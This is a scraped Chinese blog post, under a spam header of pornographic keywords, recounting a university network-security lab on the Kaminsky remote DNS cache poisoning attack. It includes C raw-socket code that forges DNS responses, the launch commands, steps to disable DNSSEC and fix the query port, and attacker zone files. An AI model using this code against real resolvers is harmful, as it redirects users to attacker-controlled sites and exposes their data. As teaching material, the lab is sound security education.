日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

远程DNS缓存攻击__网络攻防实验三

發(fā)布時間:2023/12/20 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 远程DNS缓存攻击__网络攻防实验三 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、實驗描述

DNS(Domain Name System)是一個多層次的分布式數(shù)據(jù)庫系統(tǒng),其基本功能是完成域名解析,即提供域名和IP 地址之間的映射關(guān)系,為Internet 用戶提供便利。DNS 服務(wù)器只記錄本地資源的所有授權(quán)主機,若想查詢非本地的主機信息,
則要向信息持有者(權(quán)威DNS 服務(wù)器)發(fā)送查詢請求。為了避免每次查詢都發(fā)送請求,DNS 服務(wù)器會把權(quán)威DNS 服務(wù)器返回的查詢結(jié)果保存在緩存中,并保持一定時間,這就構(gòu)成了DNS 緩存(DNS Cache)。DNS 緩存中毒攻擊就是通過污染DNS Cache,用虛假的IP 地址信息替換Cache 中主機記錄的真實IP 地
址信息,從而改變域名和IP 的映射關(guān)系。這樣使得用戶在訪問某網(wǎng)站時會被錯誤引導(dǎo)至攻擊者的網(wǎng)站中,從而被其獲取重要的隱私信息。本實驗主要是搭建實驗環(huán)境,完成遠程DNS 緩存中毒攻擊實驗(Kaminsky 攻擊)。

二、實驗參考資料

老師給的資料http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Networking/DNS_Remote/
修改過的代碼下載地址,兩個地址一個在百度云盤,一個直接在CSDN
http://download.csdn.net/detail/zengxyuyu/9704739
http://download.csdn.net/detail/zengxyuyu/9704749
一些可以看的幫助文檔,這個文檔做的不完整
http://wenku.baidu.com/link?url=MUEXKX4nYbYP2CIcrp6sbzZ8xChuHyqqU-bg9f5SJX74NVA2w3XUnpp7dvNCsRCDtrv8tczKx9m5zZ90StWGENpAP7coKDp6MMivyba-GBq

三、實驗分析

首先,我們的目標是使得用戶在訪問www.example.com時,本地DNS服務(wù)器把該域名解析為我們設(shè)定的惡意IP地址,當(dāng)用戶訪問該域下的其他域名時,本地DNS服務(wù)器會向假的DNS服務(wù)器請求應(yīng)答。
www.example.com的真實權(quán)威域名服務(wù)器IP地址是93.184.216.34,它的DNS服務(wù)器由ICANN管理。 當(dāng)用戶對該域名執(zhí)行dig命令或在瀏覽器打開網(wǎng)站時,用戶的機器就會發(fā)送一個DNS請求到本地DNS服務(wù)器,并最終從www.example.com的DNS服務(wù)器獲取到正確的IP地址。
要實現(xiàn)目標,我們實際上是對Apollo(本地DNS服務(wù)器)進行投毒,使得用戶在對該域名執(zhí)行dig命令或在瀏覽器打開網(wǎng)站時,變成是向攻擊者的DNS服務(wù)器ns.dnslabattacker.net 提交請求,由此我們可以自己設(shè)定一個惡意IP地址,并使得用戶被重定向到這個地址而不是在www.example.com DNS服務(wù)器中設(shè)定的正確IP地址。
具體來說,這個項目可以分為兩個任務(wù),一是緩存投毒,二是結(jié)果驗證。在第一個任務(wù)中,我們要對Apollo進行投毒,使得Apollo的DNS緩存中,ns.dnslabattacker.net 被設(shè)定為example.com域名的域名服務(wù)器。 在第二個任務(wù)中,要驗證投毒是否成功,也即檢驗在用戶機上對www.example.com 使用dig命令確實返回我們設(shè)定的惡意IP地址。

如果Apollo中已經(jīng)緩存好了example.com DNS服務(wù)器的地址,就不用再查詢根DNS服務(wù)器了,這時會直接向example.com DNS服務(wù)器提出對域名的查詢。攻擊時利用的正是這一特性,我們可以向Apollo多次提交example.com 域下的不同域名的查詢包,這樣Apollo會向example.com DNS服務(wù)器提交多次查詢,而此時我們通過大量偽造對應(yīng)的應(yīng)答包來進行匹配,只要能先于真正example.com DNS服務(wù)器應(yīng)答包到達,則感染成功,Apollo會記錄我們偽造包的信息,包括查詢的域名和偽造的惡意IP,還有域名對應(yīng)的偽造的DNS及DNS的ip,這樣就成功毒化了。

歸納一下,毒化緩存主要有以下三個約束:

  • TTL約束: 域名不能夠已經(jīng)在dns cache server的緩存中

  • Guess約束:transaction id能夠成功匹配。

  • Window
    Time約束:偽造包要比真正DNS服務(wù)器返回包快。
  • 為了克服約束1,就有了Kaminsky Attack這種攻擊方法。Kaminsky的主要技術(shù)是繞開TTL的約束,使得攻擊具有較高的成功率。而且,Kaminsky并不只是毒化一個域名,它能把被攻擊域名的權(quán)威域名服務(wù)器也進行毒化,改造為faked name server(偽造的權(quán)威域名服務(wù)器),從而具有極大的危害性。

    四、實驗步驟

    (一)網(wǎng)絡(luò)配置

    1.虛擬機的網(wǎng)絡(luò)連接模式為Nat模式,就是讓虛擬系統(tǒng)借助NAT(網(wǎng)絡(luò)地址轉(zhuǎn)換)功能,通過宿主機器所在的網(wǎng)絡(luò)來訪問公網(wǎng)。

    2.使用三臺虛擬機,一臺Apollo(本地DNS服務(wù)器,同時也是受害DNS服務(wù)器,Victim DNS server),一臺用戶(User,或者說客戶端),一臺攻擊者(Attacker),下文中統(tǒng)一稱呼都是Apollo,用戶和攻擊者。 不過我這次沒有配置靜態(tài)IP,所以實驗時IP地址會與下圖不一致。依次是192.168.109.140、192.168.109.141和192.168.109.139。
    因為在Nat模式下,進入虛擬機,自動被分配IP,只需ifconfig查詢一下三臺主機的IP是什么,
    這是教程上給的結(jié)構(gòu)圖:

    (二)配置本地DNS服務(wù)器
    1.安裝bind9

    sudo apt-get install bind9

    2.以下兩條命令可以幫助我們更好地進行實驗:

    rndc flush rndc dumpdb -cache

    其中第一條命令是把DNS緩存清空,第二條命令是把緩存轉(zhuǎn)儲到named_dump.db文件。named_dump.db在/var/cache/bind目錄下
    3.配置Apollo的DNS查詢端口為33333,如果不設(shè)置的話,端口是隨機的,則遠程攻擊時難度會更大(除了猜transaction ID還得猜port)。具體來說是通過修改Apollo的/etc/bind/named.conf.options文件實現(xiàn)的。
    4.除了設(shè)置固定的端口以外,我們還需要關(guān)閉dnssec-validation服務(wù),這是設(shè)置用來防止DNS緩存投毒攻擊的。如果不關(guān)閉的話,攻擊會非常困難。注釋掉named.conf.options文件中的對應(yīng)條目,并且加入關(guān)閉dnssec服務(wù)的語句:

    5.啟動DNS服務(wù)器:service bind9 start
    重啟DNS服務(wù)器:service bind9 restart

    (三)配置客戶端
    在客戶端我們需要配置使得Apollo (192.168.109.139) 成為客戶端(192.168.109.141)的默認DNS服務(wù)器,通過修改客戶端的DNS配置文件來實現(xiàn)。
    1.修改etc文件夾下的resolv.conf文件

    注意,因為Ubuntu系統(tǒng)中,resolv.conf會被DHCP客戶端覆寫,這樣我們加入的內(nèi)容就會被消除掉,為了避免這個狀況我們要禁止DHCP。

    2.禁止DHCP
    點擊All Settings,然后點擊Network,在Wired選項卡點擊Options按鈕,然后在IPv4 Settings選項卡中把Method更改為Automatic(DHCP) addresses only,然后把DNS servers更改為前面設(shè)置的本地DNS服務(wù)器的ip地址。

    因為沒有找到實驗指導(dǎo)中Network Icon的Auto eth0選項,所以這里直接手動從命令行重啟一下網(wǎng)卡:

    ifconfig eth0 down ifconfig eth0 up

    為了確保萬無一失,重啟一次虛擬機來使修改生效也行。再查看一下此時的DNS服務(wù)器,確實就我們剛剛配置的,DHCP被禁止了,沒有對我們的修改進行覆蓋,這樣就證明配置成功了。

    (四)配置攻擊者
    攻擊者可以是網(wǎng)絡(luò)上任意一臺主機,我們可以通過raw socket編程來偽造DNS包進行攻擊。但同時我們也要實現(xiàn)一個假的DNS服務(wù)器,這樣當(dāng)受害者使用域名訪問網(wǎng)站時,我們可以把他們導(dǎo)向惡意網(wǎng)站了。這里我們把假的DNS服務(wù)器和攻擊者的機器設(shè)置為同一臺,但實際上可以是不同的主機。
    1.配置攻擊者的默認DNS服務(wù)器,使得在攻擊者的機器上查詢DNS時會向Apollo發(fā)出請求。這一步驟和配置用戶機是一樣的,修改resolv.conf文件,然后關(guān)閉DHCP服務(wù)即可。

    2.偽造DNS應(yīng)答包
    我們從實驗參考資料可以下載一份udp.c的文件,在這個項目中,我們使用raw socket編寫c代碼來實現(xiàn),需要填充好DNS包的各個字段。
    在用戶主機上dig www.example.com
    使用Wareshark捕捉:

    一般每一個域名都至少要有兩個DNS服務(wù)器,這樣如果其中一個DNS服務(wù)器出現(xiàn)問題,另外一個也可以返回關(guān)于這個域名的數(shù)據(jù),多個DNS服務(wù)器上的DNS記錄應(yīng)是相同的。
    上圖的兩條數(shù)據(jù)一個是DNS,查詢一個是DNS應(yīng)答。
    實驗提供了程序udp.c,對它進行修改以便能實現(xiàn)在短時間內(nèi)向發(fā)送大量DNS 請求包和回復(fù)包,從而成功替換受害者DNS 服務(wù)器緩存的對應(yīng)關(guān)系。

    dns->flags = htons(FLAG_R);//only 1 query, so the count should be one.dns->QDCOUNT = htons(1);dns->ANCOUNT = htons(1);dns->NSCOUNT = htons(1);dns->ARCOUNT = htons(1);//query stringstrcpy(data, request_url);int length = strlen(data) + 1;//this is for convinience to get the struct type write the 4bytes in a more organized way.struct dataEnd *end = (struct dataEnd *)(data + length);end->type = htons(1);end->class = htons(1);//add the answer section herechar *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);strcpy(ans, request_url);int anslength = strlen(ans) + 1;struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);ansend->type = htons(1);ansend->class = htons(1);ansend->ttl_l = htons(0x00);ansend->ttl_h = htons(0xD0);ansend->datalen = htons(4);char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength);strcpy(ansaddr, "\1\1\1\1");int addrlen = strlen(ansaddr);//add the authoritative section herechar *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen);strcpy(ns, "\7example\3com");int nslength = strlen(ns) + 1;struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);nsend->type = htons(2);nsend->class = htons(1);nsend->ttl_l = htons(0x00);nsend->ttl_h = htons(0xD0);nsend->datalen = htons(23);char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength);strcpy(nsname, "\2ns\16dnslabattacker\3net");int nsnamelen = strlen(nsname) + 1;//add the additional report herechar *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen);strcpy(ar, "\2ns\16dnslabattacker\3net");int arlength = strlen(ar) + 1;struct ansEnd *arend = (struct ansEnd *)(ar + arlength);arend->type = htons(1);arend->class = htons(1);arend->ttl_l = htons(0x00);arend->ttl_h = htons(0xD0);arend->datalen = htons(4);char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen + arlength + sizeof(struct ansEnd));strcpy(araddr, "\1\1\1\1");int araddrlen = strlen(araddr);///////////////////////////////////////////////////////////////////////// DNS format, relate to the lab, you need to change them, end////////////////////////////////////////////////////////////////////////

    代碼下載地址:見最下方資源下載地址

    (五)開始攻擊
    在root權(quán)限下
    1.編譯udp.c

    gcc -o udp udp.c

    2.清空被攻擊者緩存

    3.發(fā)動攻擊的命令,第一個IP是攻擊者IP,第二個IP是被攻擊者IP,檢查IP不能寫反

    ./udp 192.168.109.140 192.168.109.139

    注意:該命令必須在root權(quán)限下運行,否則會出現(xiàn)error

    4.Apollo收到大量應(yīng)答包


    一般一次就會成功,如果一次不成功,重啟bind9,清空緩存,再次攻擊
    如果攻擊成功,那么Apollo的DNS緩存就會像上圖一樣,可以看到example.com 的NS記錄變成了我們偽造的ns.dnslabattacker.net。
    攻擊者ctrl+c命令可以結(jié)束攻擊

    (六)驗證是否成功

    1.將緩存導(dǎo)入

    rndc dumpdb -cache cd /var/cache/bind gedit named_dump.db


    說明DNS緩存已中毒,攻擊成功

    2.為了檢驗是否真的成功,我們可以在用戶機上使用對www.example.com 使用dig命令,查看返回的IP地址。
    可以看到下圖

    這是因為當(dāng)Apollo收到緩存中不存在的DNS記錄的查詢時,它就會向我們設(shè)置的偽造域名服務(wù)器ns.dnslabattacker.net提交查詢,因為這個域名服務(wù)器是不存在的,Apollo會發(fā)現(xiàn)這一點,然后把這條DNS記錄設(shè)置為無效記錄,這樣毒化就失效了。這時可能會想,能不能在偽造應(yīng)答包時給ns.dnslabattacker.net設(shè)置一個IP地址,從而使得偽造的域名服務(wù)器變?yōu)檎鎸崱按嬖凇钡哪?#xff1f;
    答案是否定的,原因和前面分析為什么Apollo不直接接受.com的DNS返回的example.com的DNS a.iana-servers.net 的地址是一樣的。因為我們偽造應(yīng)答包是從a.iana-servers.net或者b.iana-servers.net這兩個域名服務(wù)器返回的,它們不是負責(zé)管轄example.com這個域的權(quán)威域名服務(wù)器,所以即使我們設(shè)置了IP地址,Apollo也不會采納。
    有兩個方案解決這個問題:

    方案一、使用真正的域名

    如果我們有真正的域名就不需要用ns.dnslabattacker.net這個假的了,直接替換掉偽造應(yīng)答包中的ns.dnslabattacker.net就可以了。當(dāng)然前提是我們的域名解析到了主機上面,能夠提供應(yīng)答,像本地攻擊實驗?zāi)菢优渲镁涂梢粤恕?/p>

    方案二、使用偽造的域名

    因為我們沒有真正的域名,所以實驗中采用這個方案。直接在Apollo的DNS配置中增加一個ns.dnslabattacker.net對應(yīng)的IP地址,把它指向攻擊者的主機。這樣Apollo就不需要去問上級DNS服務(wù)器ns.dnslabattacker.net的IP地址是什么,自然也就不會穿幫了。

    2.方案2的具體配置
    a).配置Apollo的/etc/bind/named.conf.local文件

    zone "ns.dnslabattacker.net" {type master;file "/etc/bind/db.attacker"; };

    db.attacker文件長這樣:

    ; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA localhost. root.localhost. (2 ; Serial604800 ; Refresh86400 ; Retry2419200 ; Expire604800 ) ; Negative Cache TTL ; @ IN NS ns.dnslabattacker.net. @ IN A 192.168.109.140 @ IN AAAA ::1

    倒數(shù)第二行的IP是攻擊者的IP

    這樣Apollo就不需要去問上級DNS服務(wù)器ns.dnslabattacker.net的IP地址是什么,直接向攻擊者詢問example.com的IP是什么,攻擊者告訴給了一個其他網(wǎng)站的IP,用戶就被導(dǎo)向了其他網(wǎng)站,還以為是example.com的網(wǎng)站

    b).給攻擊者裝一個bind9,作為一個DNS服務(wù)器,當(dāng)被攻擊者向攻擊者詢問example.com的IP的時候,給它一個想要的IP
    配置攻擊者,把example.com.db拷到/etc/bind下

    gedit named.conf.default-zones &

    在文件里加入下列內(nèi)容:

    zone "example.com" {type master;file "/etc/bind/example.com.db"; };


    example.com文件內(nèi)容如下:

    $TTL 3D @ IN SOA ns.example.com. admin.example.com. (20081110018H2H4W1D)@ IN NS ns.dnslabattacker.net. @ IN MX 10 mail.example.com.www IN A 1.1.1.1 mail IN A 1.1.1.2 *.example.com. IN A 1.1.1.100

    3.重啟Apollo
    攻擊者再次攻擊,攻擊成功后
    用戶機dig www.example.com,得到驗證,返回IP為1.1.1.1

    五、資源下載地址

    http://download.csdn.net/detail/zengxyuyu/9704739
    http://download.csdn.net/detail/zengxyuyu/9704749

    總結(jié)

    以上是生活随笔為你收集整理的远程DNS缓存攻击__网络攻防实验三的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。